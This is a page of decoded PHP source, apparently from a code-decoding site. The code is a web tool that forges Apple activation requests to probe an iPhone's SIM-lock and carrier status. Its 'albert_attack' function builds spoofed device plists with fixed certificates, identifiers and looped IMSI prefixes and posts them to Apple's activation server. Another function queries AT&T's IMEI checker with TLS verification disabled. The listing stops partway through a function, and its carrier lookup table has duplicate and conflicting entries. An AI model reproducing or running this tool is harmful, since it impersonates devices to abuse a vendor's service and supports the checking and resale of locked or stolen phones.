Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php // Coded by @google define("DEBUG", false); error_reporting(0); set_time_limit(..
Decoded Output download
<?php
// Coded by @google
define("DEBUG", false);
error_reporting(0);
set_time_limit(0);
if(isset($_GET['imei']) && isset($_GET['sn'])) {
$sn = $_GET['sn'];
$imei = $_GET['imei'];
$imei2 = $_GET['imei2'];
if(empty($imei2) == false){ $inject_imei2 = "<strong>IMEI2:</strong> $imei2<br>"; }
if (validate_imei($imei) == true){
$imsi_tt=0; $imsi_nb=0; $imsi_nm="";
$device=checkInfo($imei);
$gsmcall = simlock($imei, $sn, null, $imei2);
if($gsmcall == "TryMeid") { $meid = substr($imei, 0, -1); }
if(empty($meid) == false){ $inject_meid = "<strong>MEID:</strong> $meid<br>"; }
$gsmcall = simlock($imei, $sn, $meid, $imei2);
if($gsmcall == 'Locked' || $gsmcall == 'Unlocked') {
foreach(IMSI_ARRAY() as $isi) {
$carrier = simlock($imei, $sn, $meid, $imei2, $isi);
if($carrier=="Unlocked") {
$labelCar = imsiChecker($isi);
$imsi_nb++;
}
$imsi_tt++;
}
if(($imsi_tt - $imsi_nb) == 0) {
echo "Model:<span style='color:black;'> $device</span><br>Imei:<span style='color:black;'> $imei</span><br>Imei2:<span style='color:black;'> $imei2</span><br>Serial:<span style='color:black;'> $sn</span><br><br>
Next Tether Policy: 10<br>SimLock:<span style='color:green;'> $gsmcall</span>";
} else {
$status = "<span style='color:red;'> Locked</span>";
echo "Model:<span style='color:black;'> $device</span><br>Imei:<span style='color:black;'> $imei</span><br>Imei2:<span style='color:black;'> $imei2</span><br>Serial:<span style='color:black;'> $sn</span><br>Carrier:<span style='color:black;'> $labelCar</span><br>SimLock:<span style='color:red;'>$status</span><br>";
}
} else {
if($gsmcall == "chimaera"){
echo "Model:<span style='color:black;'> $device</span><br>Imei:<span style='color:black;'> $imei</span><br>Imei2:<span style='color:black;'> $imei2</span><br>Serial:<span style='color:black;'> $sn</span><br>Next Tether Policy ID: Chimaera Device Policy 2365</span><br>Status:<span style='color:red;'> Blocked by Apple</span><br>";
}else {
echo 'Wrong IMEI or Server Down!';
}
//echo $gsmcall;
}
} else {
echo 'Wrong IMEI';
}
}
function checkInfo($imei) {
$url="https://m.att.com/shopmobile/wireless/byop/checkIMEI.xhr.html ";
$post_data = "_dynSessConf=23&%2Fatt%2Fecom%2Fshop%2Fview%2FValidateImeiFormHandler.imeiNumber=$imei&_D%3A%2Fatt%2Fecom%2Fshop%2Fview%2FValidateImeiFormHandler.imeiNumber=+&%2Fatt%2Fecom%2Fshop%2Fview%2FValidateImeiFormHandler.BYODSource=mobile&_D%3A%2Fatt%2Fecom%2Fshop%2Fview%2FValidateImeiFormHandler.BYODSource=+&%2Fatt%2Fecom%2Fshop%2Fview%2FValidateImeiFormHandler.sucessUrl=%2Fshopmobile%2Fwireless%2Fbyop%2FcheckIMEI%2Fjcr%3Acontent%2Fmaincontent%2Fimeiinfo.ajax.getImeiValidationResponse.xhr.html&_D%3A%2Fatt%2Fecom%2Fshop%2Fview%2FValidateImeiFormHandler.sucessUrl=+&%2Fatt%2Fecom%2Fshop%2Fview%2FValidateImeiFormHandler.validateImei=&_D%3A%2Fatt%2Fecom%2Fshop%2Fview%2FValidateImeiFormHandler.validateImei=+&_DARGS=%2Fshopmobile%2Fwireless%2Fbyop%2FcheckIMEI.xhr.html";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL , $url );
curl_setopt($ch, CURLOPT_RETURNTRANSFER , 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type: application/x-www-form-urlencoded", "Content-Length: ".strlen($post_data)));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_USERAGENT , "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 OPR/58.0.3135.127" );
curl_setopt($ch, CURLOPT_POST , 1);
curl_setopt($ch, CURLOPT_POSTFIELDS , $post_data);
$xml_response = curl_exec($ch);
if (curl_errno($ch)) {
$error_message = curl_error($ch);
$error_no = curl_errno($ch);
// echo "error_message: " . $error_message . "<br>";
// echo "error_no: " . $error_no . "<br>";
}
curl_close($ch);
if(strpos($xml_response, "deviceTitle") !== false) {
$device= json_decode($xml_response);
$device=$device->deviceTitle;
$device=str_replace(" - ", " ", $device);
$device=str_replace("Apple ", "", $device);
return $device;
} else {
return "Unknown";
}
}
function IMSI_ARRAY() {
return array('2321069', '2321170', '0839012', '3104101', '3102605', '2040400', '2343303', '2341590', '2400700', '2400111', '2400885', '2720303', '2940102', '4402011', '2163011', '2080111', '3027204','3114801');
}
function imsiChecker($imsi) {
if($imsi=='2321069')
return 'AUSTRIA 3 HUTCHISON';
else if($imsi=='2321170')
return 'A1 MOBILKOM AUSTRIA';
else if($imsi=='0839012')
return 'SPRINT USA';
else if($imsi=='3104101')
return 'US AT&T Locked Activation Policy
<br>Next Tether Policy: 23<br>Country: United States';
else if($imsi=='3102605')
return 'T-MOBILE USA';
else if($imsi=='2040400')
return 'VERIZON USA';
else if($imsi=='2343303')
return 'EE UK (TMOBILE/ORANGE)';
else if($imsi=='2341590')
return 'VODAFONE UK';
else if($imsi=='2400700')
return 'TELE2 SWEDEN';
else if($imsi=='2400111')
return 'TELIA SWEDEN';
else if($imsi=='2400885')
return 'TELENOR SWEDEN';
else if($imsi=='2720303')
return 'IRELAND METEOR';
else if($imsi=='2940102')
return 'T-MOBILE MACEDONIA';
else if($imsi=='4402011')
return 'SOFTBANK JAPAN';
else if($imsi=='2163011')
return 'T-MOBILE HUNGARY';
else if($imsi=='2080111')
return 'ORANGE FRANCE';
else if($imsi=='3027204')
return 'CANADA ROGERS';
else if($imsi=='2040400')
return 'VERIZON/TRACFONE USA';
else if($imsi=='2760111')
return 'ALBANIAN MOBILE';
else if($imsi=='2760311')
return 'EAGLE MOBILE';
else if($imsi=='2760211')
return 'VODAFONE';
else if($imsi=='2760411')
return 'PLUS AL';
else if($imsi=='6030111')
return 'ALGETEL';
else if($imsi=='6030311')
return 'NEDJMA';
else if($imsi=='6030211')
return 'ORASCOM';
else if($imsi=='2130311')
return 'MOBILAND';
else if($imsi=='6310211')
return 'UNITEL';
else if($imsi=='3654011')
return 'CABL&WI';
else if($imsi=='3650511')
return 'MOSSEL';
else if($imsi=='3651011')
return 'WEBLINK';
else if($imsi=='7161003')
return 'CLARO';
else if($imsi=='7161003')
return 'COMPALA';
else if($imsi=='7223101')
return 'CTI';
else if($imsi=='7220104')
return 'MOVISTAR';
else if($imsi=='7220211')
return 'NEXTEL';
else if($imsi=='7222011')
return 'NEXTEL2';
else if($imsi=='7223411')
return 'TELECOM';
else if($imsi=='7220711')
return 'TELEFONI';
else if($imsi=='7227011')
return 'TELFONIC';
else if($imsi=='2830134')
return 'ARMENTEL';
else if($imsi=='2830434')
return 'KARABAKH';
else if($imsi=='2831034')
return 'ORANGE';
else if($imsi=='2830534')
return 'VIVACELL';
else if($imsi=='5050610')
return '3';
else if($imsi=='5050210')
return 'OPTUS';
else if($imsi=='5050390')
return 'VODAFONE';
else if($imsi=='5051570')
return '3GIS';
else if($imsi=='5051470')
return 'AAPT';
else if($imsi=='5052470')
return 'ADVAN';
else if($imsi=='5058870')
return 'LOCALSTAR';
else if($imsi=='5050870')
return 'ONE';
else if($imsi=='5050534')
return 'OZITEL';
else if($imsi=='5057170')
return 'TELSTRA71';
else if($imsi=='5057270')
return 'TELSTRA72';
else if($imsi=='5051170')
return 'TELSTRA11';
else if($imsi=='5050134')
return 'TELSTRA';
else if($imsi=='2321070')
return '3HUTCH';
else if($imsi=='2320170')
return 'A1 TELEKOM';
else if($imsi=='2321570')
return 'BARABL';
else if($imsi=='2321170')
return 'BOBA1';
else if($imsi=='2320570')
return 'ONEORA';
else if($imsi=='2320770')
return 'TELERI';
else if($imsi=='2320370')
return 'T-MOBI LE';
else if($imsi=='2321270')
return 'YESORA';
else if($imsi=='2320588')
return 'ORANGE';
else if($imsi=='2321069')
return 'THREE';
else if($imsi=='5050970')
return 'AIRNET';
else if($imsi=='5050434')
return 'DEPART';
else if($imsi=='2570434')
return 'BEST';
else if($imsi=='2570134')
return 'MDC';
else if($imsi=='2270234')
return 'MTS';
else if($imsi=='2061034')
return 'BASE';
else if($imsi=='2060534')
return 'GLOBUL';
else if($imsi=='2061034')
return 'MOBISTAR';
else if($imsi=='2060134')
return 'PROXIMUS';
else if($imsi=='2062050')
return 'ORTEL';
else if($imsi=='2840179')
return 'MTEL';
else if($imsi=='2840310')
return 'VIVACOM';
else if($imsi=='2840510')
return 'GLOBUL';
else if($imsi=='3026104')
return 'BELL610';
else if($imsi=='3101703')
return 'BELLPACIFIC';
else if($imsi=='3023704')
return 'FIDO';
else if($imsi=='3027204')
return 'ROGERS';
else if($imsi=='3022204')
return 'TELUS220';
else if($imsi=='3026600')
return 'MTS';
else if($imsi=='3026102')
return 'VIRGIN';
else if($imsi=='3113700')
return 'USA';
else if($imsi=='7300304')
return 'CLARO';
else if($imsi=='7300104')
return 'ENTEL';
else if($imsi=='7301004')
return 'ENTEL10';
else if($imsi=='7300204')
return 'MOVISTAR';
else if($imsi=='4600202')
return 'MOBILE';
else if($imsi=='4600158')
return 'UNICOM';
else if($imsi=='2040438')
return 'TELECOM CHINA';
else if($imsi=='7320014')
return 'COLOMTEL';
else if($imsi=='7321014')
return 'COMCEL';
else if($imsi=='7320024')
return 'EDATEL';
else if($imsi=='7321234')
return 'MOVISTA3';
else if($imsi=='7321024')
return 'MOVISTAR';
else if($imsi=='7321114')
return 'TIGO1';
else if($imsi=='7321034')
return 'TIGO3';
else if($imsi=='2190199')
return 'T-MOBILE';
else if($imsi=='2191065')
return 'VIP';
else if($imsi=='2300434')
return 'MOBIKOM';
else if($imsi=='2300234')
return 'O2TELEFH';
else if($imsi=='2309834')
return 'SPRAVA';
else if($imsi=='2300134')
return 'TMOBI';
else if($imsi=='2300334')
return 'VODAFONE';
else if($imsi=='2309934')
return 'VODAF2';
else if($imsi=='2620125')
return 'TM';
else if($imsi=='2382010')
return 'DEMARK';
else if($imsi=='2380534')
return 'APS';
else if($imsi=='2380734')
return 'BARABLU';
else if($imsi=='2380634')
return 'H3G';
else if($imsi=='2380632')
return '3';
else if($imsi=='2380241')
return 'TELEN';
else if($imsi=='2380334')
return 'MIGWAY';
else if($imsi=='2380134')
return 'TDC';
else if($imsi=='2381034')
return 'TDC2';
else if($imsi=='2387734')
return 'TELENOR';
else if($imsi=='2382034')
return 'TELIA';
else if($imsi=='2383034')
return 'TELIA30';
else if($imsi=='7321234')
return 'MOVIL';
else if($imsi=='7400234')
return 'ALEGRO';
else if($imsi=='7400034')
return 'MOVISTA';
else if($imsi=='7400134')
return 'PORTA';
else if($imsi=='6020111')
return 'MOBINIL';
else if($imsi=='6020211')
return 'VODAFONE';
else if($imsi=='6020311')
return 'ETISALAT';
else if($imsi=='7061034')
return 'CLARO/CTE';
else if($imsi=='7060134')
return 'CTE/CLARO';
else if($imsi=='7060234')
return 'DIGICE';
else if($imsi=='7060434')
return 'MOVITA';
else if($imsi=='7060334')
return 'TELEMO';
else if($imsi=='2480134')
return 'EMT';
else if($imsi=='2440311')
return 'NDA';
else if($imsi=='2449111')
return 'SONERA';
else if($imsi=='2082136')
return 'BOUYGUES';
else if($imsi=='2082031')
return 'BT';
else if($imsi=='2080189')
return 'ORANGE';
else if($imsi=='2082011')
return 'BOUYGUES20';
else if($imsi=='2082111')
return 'BOUYGUES21';
else if($imsi=='2088811')
return 'BOUYGUES88';
else if($imsi=='2080111')
return 'ORANGE01';
else if($imsi=='2080211')
return 'ORANGE02';
else if($imsi=='2081011')
return 'SFR10';
else if($imsi=='2081111')
return 'SFR11';
else if($imsi=='2081031')
return 'SFR';
else if($imsi=='2081003')
return 'SFR';
else if($imsi=='2080191')
return 'VIRGIN';
else if($imsi=='2620111')
return 'T-MOBILE';
else if($imsi=='2620208')
return 'VODAFONE';
else if($imsi=='2020134')
return 'COSMOTE';
else if($imsi=='2020934')
return 'QTELECOM';
else if($imsi=='2020534')
return 'VODAFONE';
else if($imsi=='2021034')
return 'WIND';
else if($imsi=='7080111')
return 'CLARO';
else if($imsi=='2163011')
return 'T-MOBILE';
else if($imsi=='2167000')
return 'VODAFONE';
else if($imsi=='4040211')
return 'AIRTEL02';
else if($imsi=='4040111')
return 'VODAF01';
else if($imsi=='4040511')
return 'VODAF05';
else if($imsi=='4044611')
return 'VODAF46';
else if($imsi=='2720110')
return 'VODAFONE';
else if($imsi=='2720211')
return 'O2';
else if($imsi=='2720320')
return 'E-MOBILE';
else if($imsi=='2720303')
return 'METEOR';
else if($imsi=='2720500')
return '3';
else if($imsi=='2229834')
return 'BLU';
else if($imsi=='2220234')
return 'ELSACOM';
else if($imsi=='2229934')
return 'H3G';
else if($imsi=='2227734')
return 'IPSE';
else if($imsi=='2220134')
return 'TELECOM';
else if($imsi=='2220134')
return 'TIM';
else if($imsi=='2221034')
return 'VODAFONE';
else if($imsi=='2228834')
return 'WIND';
else if($imsi=='4540492')
return 'AU KIDDI 4S';
else if($imsi=='4405000')
return 'AU KIDDI 5G';
else if($imsi=='4402081')
return 'SOFTBANK 4S/5G';
else if($imsi=='4405014')
return 'AU KDDI IPHONE5';
else if($imsi=='4167711')
return 'ORANGE';
else if($imsi=='4500826')
return 'TELECOME';
else if($imsi=='2950211')
return 'ORANGE';
else if($imsi=='2950111')
return 'SWISCO';
else if($imsi=='2460165')
return 'OMNITEL';
else if($imsi=='2460165')
return 'OMNITEL';
else if($imsi=='2700101')
return 'LUXGSM';
else if($imsi=='2707701')
return 'TANGO';
else if($imsi=='2709901')
return 'VOXMOBI';
else if($imsi=='4550234')
return 'CHINA';
else if($imsi=='4550134')
return 'CMT';
else if($imsi=='4550534')
return 'HUTCHIS';
else if($imsi=='4550034')
return 'SMARTT';
else if($imsi=='2940387')
return 'VIP';
else if($imsi=='2940200')
return 'ONE(EX-COSMOFON)';
else if($imsi=='2940102')
return 'T-MOBILE';
else if($imsi=='3340202')
return 'TELCEL';
else if($imsi=='3340100')
return 'NEXTEL';
else if($imsi=='3340500')
return 'LUSACELL';
else if($imsi=='3340300')
return 'MOVISTAR';
else if($imsi=='3340202')
return 'AMERICA MOVIL';
else if($imsi=='2590101')
return 'ORANGE';
else if($imsi=='2970200')
return 'T-MOBILE';
else if($imsi=='2041611')
return 'T-MOBILE';
else if($imsi=='5300134')
return 'RESERVE';
else if($imsi=='2040438')
return 'VODAFONE';
else if($imsi=='5302834')
return 'ECONET';
else if($imsi=='5302434')
return 'NZCOMUNIC';
else if($imsi=='5300534')
return 'TELECOM';
else if($imsi=='5300434')
return 'TELTRACLE';
else if($imsi=='5300134')
return 'VODAFONE';
else if($imsi=='5300334')
return 'WOOSH';
else if($imsi=='2420211')
return 'NETCOM';
else if($imsi=='2420111')
return 'TELENOR';
else if($imsi=='2400768')
return 'TELE2';
else if($imsi=='7161011')
return 'CLARO';
else if($imsi=='7161011')
return 'TIM';
else if($imsi=='5150220')
return 'GB';
else if($imsi=='5150303')
return 'SM';
else if($imsi=='5150509')
return 'SUN';
else if($imsi=='5150211')
return 'GLOBE';
else if($imsi=='2600211')
return 'ERA';
else if($imsi=='2600311')
return 'ORANGE';
else if($imsi=='2600200')
return 'T-MOBILE';
else if($imsi=='2680311')
return 'OPTIMUS';
else if($imsi=='2680111')
return 'VODAFONE';
else if($imsi=='2680611')
return 'TMN';
else if($imsi=='2260107')
return 'VODAFONE';
else if($imsi=='2261007')
return 'ORANGE';
else if($imsi=='2260307')
return 'COSMOTE';
else if($imsi=='2260407')
return 'ZAPP';
else if($imsi=='2502834')
return 'BEELINE28';
else if($imsi=='2509934')
return 'BEELINE99';
else if($imsi=='2500234')
return 'MEGAFON';
else if($imsi=='2501034')
return 'MTS10';
else if($imsi=='2509334')
return 'TELECOM';
else if($imsi=='4200734')
return 'EAE';
else if($imsi=='4200334')
return 'MOBILY';
else if($imsi=='4200134')
return 'STC';
else if($imsi=='4200434')
return 'ZAINSA';
else if($imsi=='2310411')
return 'T-MOBILE 2';
else if($imsi=='2310234')
return 'EUROTEL 2';
else if($imsi=='2310134')
return 'ORANGE';
else if($imsi=='2310534')
return 'ORANGE UMT';
else if($imsi=='2311534')
return 'ORANGE UMT2';
else if($imsi=='2310634')
return 'TELEFICO2';
else if($imsi=='6550134')
return 'VODACOM';
else if($imsi=='2934001')
return 'SI-MOBILE';
else if($imsi=='2140711')
return 'MOVISTAR';
else if($imsi=='2140333')
return 'ORANGE';
else if($imsi=='2140198')
return 'VODAFONE';
else if($imsi=='2140401')
return 'YOIGO';
else if($imsi=='2400200')
return '3';
else if($imsi=='2400111')
return 'TELIA';
else if($imsi=='2400700')
return 'TELE2';
else if($imsi=='2400100')
return 'TELIA';
else if($imsi=='2400885')
return 'TELENOR';
else if($imsi=='2280167')
return 'SWISSCOM';
else if($imsi=='2280311')
return 'ORANGE';
else if($imsi=='2280200')
return 'SUNRISE';
else if($imsi=='2280111')
return 'SWISCOM';
else if($imsi=='2280211')
return 'SUNRISE';
else if($imsi=='2280121')
return 'SWISCOM (UNOFFICAL)';
else if($imsi=='4669234')
return 'CHUNGWA';
else if($imsi=='2860134')
return 'TURCELL';
else if($imsi=='2860211')
return 'VODAFONE';
else if($imsi=='2862034')
return 'VODAFONE';
else if($imsi=='4240334')
return 'DU';
else if($imsi=='4240234')
return 'ETISAL';
else if($imsi=='2342091')
return '3';
else if($imsi=='2341091')
return 'O2';
else if($imsi=='2343320')
return 'ORANGE/T-MOBILE';
else if($imsi=='2341590')
return 'VODAFONE 2';
else if($imsi=='2340211')
return 'O2 2';
else if($imsi=='2343334')
return 'ORANGE33';
else if($imsi=='2343091')
return 'T-MOBILE';
else if($imsi=='2343091')
return 'ORANGE';
else if($imsi=='2343091')
return 'EE';
else if($imsi=='2340100')
return 'VECTONE';
else if($imsi=='7481011')
return 'CTIMOV';
else if($imsi=='7480711')
return 'MOVISTAR';
else if($imsi=='7480111')
return 'ANTEL';
else if($imsi=='3104101')
return 'ATT';
else if($imsi=='2040400')
return 'VERIZON';
else if($imsi=='3160101')
return 'SPRINT(CDMA)';
else if($imsi=='3461401')
return 'CABLE&WIRELESS LIME';
else if($imsi=='3101200')
return 'SPRINT IPHONE5';
else if($imsi=='2040400')
return 'CRICKET';
else if($imsi=='3101200')
return 'VIRGIN IPHONE5';
else if($imsi=='2040400')
return 'STRAIGHT TALK';
else if($imsi=='3102605')
return 'T-MOBILE IPHONE5';
else if($imsi=='3113700')
return 'WIRELESS ALASKA';
else if($imsi=='3102620')
return 'T-MOBILE';
else if($imsi=='3114801')
return 'TRACFONE';
else if($imsi=='3102600')
return 'METROPCS';
else if($imsi=='3114801')
return 'TOTAL WIRELESS';
else if($imsi=='3104101')
return 'CONSUMER CELULLAR';
else if($imsi=='3114801')
return 'STRAIGHT TALK';
else if($imsi=='3160101')
return 'BOOST MOBILE';
else if($imsi=='2040400')
return 'XFINITY';
else if($imsi=='7340486')
return 'MOVISTAR';
else if($imsi=='7340200')
return 'DIGITEL';
else if($imsi=='7340600')
return 'MOVILNET';
else if($imsi=='7340400')
return 'TELEFONICA';
else
return 'OTHER';
}
function validate_imei($imei) {
if (!preg_match('/^[0-9]{15}$/', $imei)) return false;
$sum = 0;
for ($i = 0; $i < 14; $i++)
{
$num = $imei[$i];
if (($i % 2) != 0)
{
$num = $imei[$i] * 2;
if ($num > 9)
{
$num = (string) $num;
$num = $num[0] + $num[1];
}
}
$sum += $num;
}
if ((($sum + $imei[14]) % 10) != 0) return false;
return true;
}
function match_all($needles, $haystack) {
if(empty($needles)){
return false;
}
foreach($needles as $needle) {
if (strpos($haystack, $needle) == false) {
return false;
}
}
return true;
}
function albert_attack($query) {
$url = "https://albert.apple.com/deviceservices/deviceActivation";
$test = urlencode(base64_encode($query));
$post_data = "passcode=gfdgf&activation-info-base64=$test";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL , $url );
curl_setopt($ch, CURLOPT_RETURNTRANSFER , 1);
curl_setopt($ch, CURLOPT_TIMEOUT , 10);
curl_setopt($ch, CURLOPT_VERBOSE, 0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type: application/x-www-form-urlencoded", "Content-Length: ".strlen($post_data)));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_USERAGENT , "iOS 11.1.1 15B150 iPhone Setup Assistant iOS Device Activator (MobileActivation-286.20.3 built on Sep 29 2017 at 18:51:08)" );
curl_setopt($ch, CURLOPT_POST , 1);
curl_setopt($ch, CURLOPT_POSTFIELDS , $post_data );
$xml_response = curl_exec($ch);
if (curl_errno($ch)) {
$error_message = curl_error($ch);
$error_no = curl_errno($ch);
// echo "error_message: " . $error_message . "<br>";
// echo "error_no: " . $error_no . "<br>";
}
curl_close($ch);
if(DEBUG){ print_r($xml_response)."</br>"; die(); }
$aclock = array('SIM','Not','Supported');
$problemiphone = array('Please','restore','the','phone','and','install','the','latest','version','of','iOS');
$problemiphone1 = array('Device','Unknown');
$problemiphone2 = array('There', 'is', 'a', 'problem', 'with', 'your', 'iPhone.');
$problemiphone3 = array('There', 'is', 'a', 'problem', 'with', 'this', 'iPhone.');
$activationerror = array('This','iPhone','is','not','able','to','complete','the','activation','process');
$unsupportedsim = array('Unsupported','SIM');
$icloudLocked = array('This','iPhone', 'is', 'linked');
$errorUnlocked = array('Activation', 'could');
//Activation could not be completed
if(match_all($aclock,$xml_response)) {
return "Locked";
} else if (match_all($problemiphone,$xml_response)) {
return "Unlocked";
} else if (match_all($problemiphone2,$xml_response)) {
return "chimaera";
} else if (match_all($problemiphone3,$xml_response)) {
return "chimaera";
} else if (match_all($icloudLocked,$xml_response)) {
return "Unlocked";
} else if (match_all($errorUnlocked,$xml_response)) {
return "Unlocked";
} else if (strpos($xml_response, "AccountToken")!==false) {
return "Unlocked";
} else if (match_all($activationerror,$xml_response)) {
return "TryMeid";
} else {
print_r($xml_response);
//return "IDK BRO";
}
}
function simlock($imei, $sn, $meid, $imei2, $imsi = '6030326') {
if(isset($meid)) {
$meid = '<key>MobileEquipmentIdentifier</key>
<string>'.$meid.'</string>';
}
if(empty($imei2)==false) {
$imei2 = '<key>InternationalMobileEquipmentIdentity2</key>
<string>'.$imei2.'</string>';
}
$ActivationInfoXML =
'<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>ActivationRequestInfo</key>
<dict>
<key>ActivationRandomness</key>
<string>24535014-9805-49AA-AC5C-2DD8EB69B12A</string>
<key>ActivationState</key>
<string>Unactivated</string>
<key>FMiPAccountExists</key>
<true/>
</dict>
<key>BasebandRequestInfo</key>
<dict>
<key>ActivationRequiresActivationTicket</key>
<true/>
<key>BasebandActivationTicketVersion</key>
<string>V2</string>
<key>BasebandChipID</key>
<integer>7282913</integer>
<key>BasebandMasterKeyHash</key>
<string>AEA5CCE143668D0EFB4CE1F2C94C966A6496C6AA</string>
<key>BasebandSerialNumber</key>
<data>
NE5Ksw==
</data>
<key>GID1</key>
<string>90ffffff</string>
<key>GID2</key>
<string>ffffffff</string>
<key>IntegratedCircuitCardIdentity</key>
<string>8938641090306391573</string>
<key>InternationalMobileEquipmentIdentity</key>
<string>'.$imei.'</string>
'.$imei2.'
<key>InternationalMobileSubscriberIdentity</key>
<string>'.$imsi.'73956326</string>
'.$meid.'
<key>PhoneNumber</key>
<string></string>
<key>SIMStatus</key>
<string>kCTSIMSupportSIMStatusReady</string>
<key>SupportsPostponement</key>
<true/>
<key>kCTPostponementInfoPRIVersion</key>
<string>0.1.144</string>
<key>kCTPostponementInfoPRLName</key>
<integer>0</integer>
<key>kCTPostponementInfoServiceProvisioningState</key>
<true/>
</dict>
<key>DeviceCertRequest</key>
<data>
LS0tLS1CRUdJTiBDRVJUSUZJQ0FURSBSRVFVRVNULS0tLS0KTUlJQnhEQ0NBUzBDQVFB
d2dZTXhMVEFyQmdOVkJBTVRKRGN3TURGQk1UWTBMVGxHUkRBdE5EaEJNUzFCTVRFeg0K
TFRjNVJUaEdNVFF5UXprelFURUxNQWtHQTFVRUJoTUNWVk14Q3pBSkJnTlZCQWdUQWtO
Qk1SSXdFQVlEVlFRSA0KRXdsRGRYQmxjblJwYm04eEV6QVJCZ05WQkFvVENrRndjR3hs
SUVsdVl5NHhEekFOQmdOVkJBc1RCbWxRYUc5dQ0KWlRDQm56QU5CZ2txaGtpRzl3MEJB
UUVGQUFPQmpRQXdnWWtDZ1lFQTdNV1I0T3VJUG81NEowczhmMkQ4bnRtYw0KYWVkOGNu
NENCM2p2bzZjY2hQQTJSSGV4TDVxVU5YblZNZzhHUmVLN1RCSmZFcDBYaVpmMlR5TTRT
QXFjL2VLUg0KbEIzdFFUdGJhYjQ4UkxDenljUWlHelhoZXk0R0w0ckoxQTV3ditXUUYw
YmtVcDhzUUk4b3VoMnFKU3ZiaWp6Rg0KOTE4d2d1aWZsZUJZcGRaMjBEMENBd0VBQWFB
QU1BMEdDU3FHU0liM0RRRUJCUVVBQTRHQkFOVFRhVkZHMnZJag0KZ0J5Zkp6d1U4ZStD
MXBqYzNKMWJvL1FjeXU2SDZ2aDBYZHNPMk9qOFBiUWRBY09teUJyTG50QTVhT2ZsY1pp
Qw0KMmJQSjhiNFBmVVRVWkJxQVdCS0JodFF6QjVVWDRuZDhsTTVKeDc3c0VwVC9uTjdQ
NDhZQmgyWlJqaDg4SmQrcg0KdDFwWnZ3VWxWYTZwRVJ2N2RWTDZNM3pGRmNwQVBhejcK
LS0tLS1FTkQgQ0VSVElGSUNBVEUgUkVRVUVTVC0tLS0t
</data>
<key>DeviceID</key>
<dict>
<key>SerialNumber</key>
<string>'.$sn.'</string>
<key>UniqueDeviceID</key>
<string>cbed4ff1e95edba585a94f4e8d333379f282df9e</string>
</dict>
<key>DeviceInfo</key>
<dict>
<key>BuildVersion</key>
<string>15A372</string>
<key>DeviceClass</key>
<string>iPhone</string>
<key>DeviceVariant</key>
<string>A</string>
<key>ModelNumber</key>
<string>MKQM2</string>
<key>OSType</key>
<string>iPhone OS</string>
<key>ProductType</key>
<string>iPhone8,1</string>
<key>ProductVersion</key>
<string>11.0</string>
<key>RegionCode</key>
<string>ZD</string>
<key>RegionInfo</key>
<string>ZD/A</string>
<key>RegulatoryModelNumber</key>
<string>A1784</string>
<key>UniqueChipID</key>
<integer>2859022370934054</integer>
</dict>
<key>RegulatoryImages</key>
<dict>
<key>DeviceVariant</key>
<string>A</string>
</dict>
<key>UIKCertification</key>
<dict>
<key>BluetoothAddress</key>
<string>bc:4c:c4:14:58:ac</string>
<key>BoardId</key>
<integer>14</integer>
<key>ChipID</key>
<integer>35152</integer>
<key>EthernetMacAddress</key>
<string>bc:4c:c4:14:58:ad</string>
<key>UIKCertification</key>
<data>
MIICxjCCAm0CAQEwADCB2QIBATAKBggqhkjOPQQDAgNHADBEAiBOmykQ378M
lvcKVkyjlHoYwKN8/WK/lHGv2zscJxnE+AIgN9zrZRpE0K7RZuZtruXkgFxV
iM4SXByiyOPFmBdcy+MwWzAVBgcqhkjOPQIBoAoGCCqGSM49AwEHA0IABFNT
gwNJnJnk05h2j2K9p75U96PvOBiti2J0nQNXeKWGKizCqergjKtHZqAtVBsX
mdd3311pxQ75CsX3EUaznAagCgQIYWNzc0gAAACiFgQUfYSpUwwmRfMbGkRA
Ps1aKCLT0dwwgcICAQEwCgYIKoZIzj0EAwIDSAAwRQIhAPDzRlZqRnm9wRmT
1oIy5sh/AbDHSQVmitgH9NoCpoctAiB9+1hOM8Zeb1htQV8s81Xg0aou/86P
PveOu9TIzYQNnDBbMBUGByqGSM49AgGgCgYIKoZIzj0DAQcDQgAESTAiT/2L
1L1+0JBiUSGPumizG+wQp12JUM0T80UqWbvEE9ljAk676/zhKQBjl38/Sn06
yO2EABYoYBIlgEi0ZKAKBAggc2tzAgAAAKCBxDCBwQIBATAKBggqhkjOPQQD
AgNHADBEAiAtvdWemPKvE6kfMpY9pUYuvJcXbznA/oVLeEXPbzXtTgIgCBJP
dGxZs0OZLgdfNAwJuxa+1dqcFgV1LDen2Gi9eM8wWzAVBgcqhkjOPQIBoAoG
CCqGSM49AwEHA0IABEkwIk/9i9S9ftCQYlEhj7posxvsEKddiVDNE/NFKlm7
xBPZYwJOu+v84SkAY5d/P0p9OsjthAAWKGASJYBItGSgCgQIIHNrcwIAAAAw
CgYIKoZIzj0EAwIDRwAwRAIgHU83XIiKQrKl0aoXCB+yJ5i05MQBRZ52f0zt
yzsI34MCIF6QRIRaUsTcts4Q6f9Z/ME2fo8rEM34I6/KaMcD7+6q
</data>
<key>WifiAddress</key>
<string>bc:4c:c4:14:58:ab</string>
</dict>
</dict>
</plist>';
$ActivationInfoXML64 = base64_encode($ActivationInfoXML);
